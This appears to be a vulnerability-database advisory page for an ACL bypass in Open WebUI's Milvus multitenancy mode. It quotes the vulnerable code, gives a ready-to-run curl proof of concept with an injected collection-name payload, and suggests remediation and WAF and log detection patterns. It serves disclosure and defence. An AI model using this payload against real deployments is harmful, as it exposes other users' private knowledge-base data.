Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Network-reachable API endpoint requires only a low-privilege bearer token (PR:L); single crafted request with no complexity (AC:L); all tenants' private KB data exposed (C:H); attack is purely read-only with no integrity or availability impact.
Primary rating from Vendor (https://github.com/open-webui/open-webui).
CVSS VectorVendor: https://github.com/open-webui/open-webui
Lifecycle Timeline
2DescriptionCVE.org
RAG ACL Bypass in Milvus Multitenancy Mode
Summary
This is a bypass of the fix for:
- GHSA-h36f-rqpx-j5wx
- CVE-2026-44560
- "Unauthorized File and Knowledge Base Content Access via RAG Vector Search"
Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a resource_id and is interpolated into a Milvus expression without escaping.
An authenticated non-admin user can query:
x' or resource_id != '' or resource_id == 'xThis passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:
resource_id == 'x' or resource_id != '' or resource_id == 'x'That returns private knowledge-base chunks belonging to other users.
Affected Configuration
Tested on:
Open WebUI: v0.9.5, commit 3660bc00f
VECTOR_DB=milvus
ENABLE_MILVUS_MULTITENANCY_MODE=trueThis is not a default-vector-store issue. It affects production deployments using Milvus multitenancy.
Impact
An authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.
Root Cause
ACL permits unknown collection names:
# backend/open_webui/retrieval/utils.py
elif not await Knowledges.get_knowledge_by_id(name):
validated.add(name)Milvus multitenancy then treats the same name as resource_id and builds unsafe expressions:
# backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py
expr=f"{RESOURCE_ID_FIELD} == '{resource_id}'"Affected paths include:
POST /api/v1/retrieval/query/collection
POST /api/v1/retrieval/query/docPoC
Request:
curl -s -X POST "$TARGET/api/v1/retrieval/query/collection" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
--data-binary @- <<'JSON'
{
"collection_names": [
"x' or resource_id != '' or resource_id == 'x"
],
"query": "anything",
"k": 10,
"hybrid": false
}
JSONActual result: private chunks from other users' knowledge collections are returned.
Expected result: request should be rejected with 403 or return no unauthorized content.
Remediation
- Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints.
- Escape or parameterize Milvus expression values before building filters.
- Reject collection names containing quotes/control characters unless they match a known internal format.
- Add a regression test for this payload in Milvus multitenancy mode:
x' or resource_id != '' or resource_id == 'xAnalysisAI
Private RAG knowledge-base content belonging to any user can be fully exfiltrated by any authenticated low-privilege account in Open WebUI v0.9.5 deployments running Milvus with multitenancy enabled. This is a second-order bypass of the previously released fix for CVE-2026-44560 (GHSA-h36f-rqpx-j5wx): the prior patch introduced collection-level ACL checks, but the ACL's permissive handling of unknown collection names combined with unsanitized string interpolation into Milvus filter expressions creates an injection path that renders the ACL ineffective. A public proof-of-concept in the form of a ready-to-run curl command exists; no CISA KEV listing was identified at time of analysis.
Technical ContextAI
Open WebUI is a Python-based AI frontend (pkg:pip/open-webui) that supports Retrieval-Augmented Generation via pluggable vector databases. When configured with VECTOR_DB=milvus and ENABLE_MILVUS_MULTITENANCY_MODE=true, user RAG queries are routed through backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py, which constructs Milvus filter expressions by direct f-string interpolation of the user-supplied collection name as a resource_id value: expr=f"{RESOURCE_ID_FIELD} == '{resource_id}'". The upstream ACL in backend/open_webui/retrieval/utils.py treats any collection name not resolved by Knowledges.get_knowledge_by_id() as a permitted legacy or ephemeral collection, causing it to pass user-controlled strings containing quote characters through to the Milvus expression builder without sanitization. CWE-862 (Missing Authorization) captures the root cause: the authorization check is structurally incomplete - it validates known KB names but unconditionally permits unknowns, making it trivially bypassable via an injection payload that masquerades as an unknown collection while simultaneously injecting a tautological Milvus expression that returns all indexed private data.
RemediationAI
The primary fix is to upgrade Open WebUI to version 0.9.6 or later, which resolves this vulnerability per GitHub Advisory GHSA-p5cp-r7rg-qpxc (https://github.com/open-webui/open-webui/security/advisories/GHSA-p5cp-r7rg-qpxc). If immediate upgrade is not possible, the following compensating controls should be applied: (1) Disable Milvus multitenancy mode by setting ENABLE_MILVUS_MULTITENANCY_MODE=false - this fully removes the vulnerable code path but sacrifices tenant isolation at the vector store level and requires a redeployment; (2) Restrict or block access to POST /api/v1/retrieval/query/collection and POST /api/v1/retrieval/query/doc via a reverse proxy or WAF rule that rejects requests whose collection_names values contain single-quote characters, backslashes, or the substring 'or resource_id'; (3) Audit existing Milvus query logs for collection name values containing single quotes or the pattern 'or resource_id' to identify whether retrospective exploitation has occurred. Patch version 0.9.6 is the only confirmed fix; no upstream workaround other than disabling multitenancy mode is documented in the advisory.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-862 – Missing Authorization
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-38524
GHSA-p5cp-r7rg-qpxc